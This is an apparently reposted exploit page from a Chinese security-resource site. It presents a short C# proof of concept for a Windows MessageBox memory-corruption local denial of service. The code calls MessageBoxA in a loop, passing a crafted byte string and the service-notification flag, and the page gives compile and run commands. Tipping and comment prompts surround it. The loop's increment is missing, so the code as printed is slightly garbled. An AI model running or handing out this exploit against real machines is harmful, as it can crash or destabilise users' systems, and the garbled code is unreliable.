MS Windows (MessageBox) Memory Corruption Local Denial of Service

2023-12-04 0 538

// mbox.cs

using System;

using System.Runtime.InteropServices;

class HelloWorldFromMicrosoft

{

[DllImport("user32.dll")]

unsafe public static extern int MessageBoxA(uint hwnd, byte* lpText, byte* lpCaption, uint uType);

static unsafe void Main()

{

byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};

uint MB_SERVICE_NOTIFICATION = 0x00200000u;

fixed(byte* pHelloBug = &helloBug[0])

{

for(int i=0; i<10; i )

MessageBoxA(0u, pHelloBug, pHelloBug, MB_SERVICE_NOTIFICATION);

}

}

}

// >> csc /unsafe mbox.cs

// >> mbox.exe//http://www.leftworld.net

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悠久资源 Exploit MS Windows (MessageBox) Memory Corruption Local Denial of Service https://www.u-9.cn/security/exploit/71997.html

常见问题

相关文章

发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务